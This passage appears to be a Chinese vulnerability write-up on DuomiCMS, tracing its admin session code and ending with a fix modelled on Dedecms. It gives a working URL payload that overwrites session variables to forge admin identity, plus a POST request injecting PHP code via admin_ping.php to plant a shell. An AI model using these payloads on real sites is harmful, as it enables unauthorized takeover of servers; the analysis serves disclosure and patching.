var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";

function __construct($admindir='')
{
global $admin_path;
if(isset($_SESSION[$this->keepUserIDTag]))
{
$this->userID = $_SESSION[$this->keepUserIDTag];
$this->groupid = $_SESSION[$this->keepgroupidTag];
$this->userName = $_SESSION[$this->keepUserNameTag];
}
}
}

我们可以看到这里记录了用户名字、所属组、用户,再来看看 admin 所对应的这三个值分别是多少。找到 admin\login.php 文件,如下图,我们只要让 checkUser 方法返回1即是admin用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if($dopost=='login')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
$svali = strtolower(GetCkVdValue());
if($validate=='' || $svali != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!', '-1');
exit();
}
else
{
$cuserLogin = new userLogin($admindir);
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid, $pwd);
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理页!', $gotopage);
exit();
}
}
else
{
ShowMsg('登录失败,正在转向管理管理页!', "index.php");
exit();
}
}
}
}

跟进 duomiphp\check.admin.php 文件的 checkUser 方法,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function checkUser($username,$userpwd)
{
global $dsql;
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]", '', $username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]", '', $userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From duomi_admin where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update duomi_admin set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}

我们直接使用正确admin账号密码登录后台,可以观察到admin用户对应的用户和所属组均为1。

那么现在我们只要利用变量覆盖漏洞,覆盖 session 的值,从而伪造 admin 身份,然后就可以愉快的写shell了。

漏洞利用

我们需要先找一些开启 session_start 函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php 文件。

我们先访问如下 payload

1
http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1

当我们访问 payload 后,我们对应 session 的用户和所属组都变成了1。然后,我们再POST如下数据包写入webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

weburl=";phpinfo();//&token=

修复建议

实际上,这个漏洞和 Dedecms 变量覆盖漏洞很相似。而在 Dedecms 的官方修复代码中,多了检测变量名是否为PHP原有的超全局数组,如果是,则直接退出并告知变量不允许,具体修复代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if(is_array($svar))
{
foreach($svar as $s_k => $s_v)
{
$svar[$s_k] = _RunMagicQuotes($s_v);
}
}
else
{
if(strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar))
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}